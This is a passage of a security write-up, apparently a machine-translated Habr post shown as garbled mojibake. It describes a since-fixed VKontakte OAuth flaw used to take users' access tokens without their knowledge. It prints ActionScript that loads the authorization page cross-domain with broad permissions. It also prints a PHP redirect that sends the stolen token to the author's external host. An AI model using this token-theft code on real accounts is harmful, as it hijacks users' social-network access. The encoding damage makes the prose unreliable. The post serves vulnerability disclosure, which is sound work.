рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреЗ рдмрд┐рдирд╛ Vkontakte Api рд╡рд┐рдзрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ

рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐


рдпрд╣ рднреЗрджреНрдпрддрд╛ рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рд▓рдЧрднрдЧ рджреЛ рдорд╣реАрдиреЗ рдкрд╣рд▓реЗ, рдпрд╛ рдЗрд╕рд╕реЗ рднреА рдЕрдзрд┐рдХ рдкрд╛рдИ рдЧрдИ рдереАред
рдлрд┐рд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЧрдИ, рдФрд░ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдареАрдХ рдХрд░ рд▓рд┐рдпрд╛ред
рдЬреИрд╕рд╛ рдХрд┐ рдореБрдЭреЗ рдЙрд╕ рд╕рдордп рд▓рдЧ рд░рд╣рд╛ рдерд╛ред

рдЬрд▓реНрдж рд╣реА рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЧрдпрд╛ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ рдмрд┐рд▓реНрдХреБрд▓ рдареАрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рд╕рдВрджреЗрд╢реЛрдВ рддрдХ рд╕реАрдорд┐рдд рдкрд╣реБрдВрдЪ рд╣реИ, рдЬреЛ рдореИрдВрдиреЗ рдЙрд╕ рд╕рдордп рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ рдерд╛ред

рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛, рдореИрдВ рдХрдЯ рдХреЗ рддрд╣рдд рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реВрдВрдЧрд╛ред

рдЦреЛрдЬ


рджрд░рдЕрд╕рд▓ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреЗ рдмрд┐рдирд╛ рдЖрдкреА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рд╣реА рдореИрдВрдиреЗ рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рддрд░реАрдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛ред
рдЙрд╕ рд╕рдордп, VKontakte рдиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА oauth рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдерд╛ред

рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдореБрд╢реНрдХрд┐рд▓ рдХреБрдЫ рднреА рдирд╣реАрдВ рдерд╛, рдмрд╕ рдУрдЙрде рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдПрдкреАрдЖрдИ 2.0 рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рдбреЛрдореЗрди рдкрд░ рдерд╛, рдФрд░, рддрджрдиреБрд╕рд╛рд░, рдХреНрд░реЙрд╕рдбреЛрдореЗрди.рдПрдХреНрд╕рдПрдордПрд▓ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде, рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рд╕рд░реНрд╡рд░ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рд┐рдЪрдХрд┐рдЪрд╛рд╣рдЯ рдХреЗ, рдореИрдВрдиреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд▓рд┐рдЦрдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ред

рдХреЗ рдЙрдкрдпреЛрдЧ


рдореИрдВрдиреЗ рдкрд╛рдардХреЛрдВ рдХреЛ рддреБрд░рдВрдд рджреЛ рдЪреАрдЬреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪреЗрддрд╛рд╡рдиреА рджреА рд╣реИ:


рдореЗрд░реА рдХрдкрдЯрдкреВрд░реНрдг рдпреЛрдЬрдирд╛ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рдлреНрд▓реИрд╢ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреГрд╖реНрда рдХреЛ рдЖрдЧ рд▓рдЧрд╛ рджреЗрдЧрд╛, рдФрд░ рдлрд┐рд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд▓рд┐рдВрдХ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдЧрд╛ред

рдЪрд▓реЛ рдЪрд▓рддреЗ рд╣реИрдВред

рдПрдХ рдмрд┐рдВрджреБ - рдлреНрд▓реИрд╢ рдЖрд╡реЗрджрдиред

рдЪреВрдВрдХрд┐ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдирд┐: рд╢реБрд▓реНрдХ рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдХрд╣реАрдВ рднреА рдЙрдЪрд┐рдд рдХреНрд░реЙрд╕рдбреЛрдореЗрдиред xml рд╣реИ - рдпрд╣ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд▓рд┐рдВрдХ рдХреЛ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рдерд╛ред

рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЛрдб рд╕реАрдзрд╛ рд╣реИ, рдФрд░ рд╢рд╛рдпрдж рдпрд╣ рд╕рдмрд╕реЗ рдХрдард┐рди рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рдХрдо рд╕реЗ рдХрдо рдореЗрд░реЗ рд▓рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдореИрдВ рд▓рдЧрднрдЧ ActionScript рдирд╣реАрдВ рдЬрд╛рдирддрд╛ред

import flash.net.URLLoader; import flash.net.URLRequest; import flash.events.Event; var auth_page = new URLLoader(); this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage ); function onAddedToStage(e: Event): void { auth_page.addEventListener(Event.COMPLETE, auth_load); //   auth_page.load(new URLRequest('http://api.vkontakte.ru/oauth/authorize?client_id=2725857&scope=offline,ads,notifications,groups,wall,questions,offers,pages,notes,docs,video,audio,photos,friends,notifi&redirect_uri=http://api.vk.com/blank.html&display=page&response_type=token')); } function auth_load(e:Event):void { var wrapper: Object = Object(parent.parent); var auth_str = auth_page.data; trace(); //   iframe ,       wrapper.external.navigateToURL(new URLRequest('http://vkontakte.ru/app2725881#'+auth_str.toString().substr(auth_str.indexOf("location.href")+17, 162))); } 


рдПрдХ рдЫреЛрдЯреА рд╕реА рдЪрд╛рд▓ рд╣реИред
рдпрд╣ рд╕рд┐рд░реНрдл рдЗрддрдирд╛ рд╣реИ рдХрд┐ рдПрдХ рдлрд╝реНрд▓реИрд╢ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рд▓реЗрдХрд┐рди рд╡реАрдХреЗ рдХреЗ рдкрд╛рд╕ рдпрд╛ рдмрд▓реНрдХрд┐ рдерд╛, рдЕрдм рдЗрд╕реЗ рдбреЙрдХреНрд╕ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╡реАрдХреЗрдУрдВрдЯрдХреИрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рдкрд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рдзрд┐ рд╣реИред
рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рдмрдиреА, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ iframe рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╡реЗ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рджреЛ рдмрд┐рдВрджреБ - iframe рдЖрд╡реЗрджрдиред

Iframe рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ, рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ url рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред

 <? header('Location: '.str_replace(array('https','blank.html'), array('http', '//thecops.ru/hi.php'), $_GET['hash']))); ?> 


рдпрд╣ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Hi.php рдкреЗрдЬ рдкрд░ рд╣рдореЗрдВ access_token рдорд┐рд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕рднреА рддрд░реАрдХреЛрдВ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред

рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг, рдЖрдк рдпрд╣рд╛рдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред
рдпреБрдкреАрдбреА:
рдЙрддреНрдкрд╛рджрди рдХреЛ рдареАрдХ рдХрд░реЗрдВ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдмрд╣реБрдд рдЪрд╛рд▓рд╛рдХреА рд╕реЗред
рдЙрджрд╛рд╣рд░рдг рдЕрдм рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред

Source: https://habr.com/ru/post/In135036/


All Articles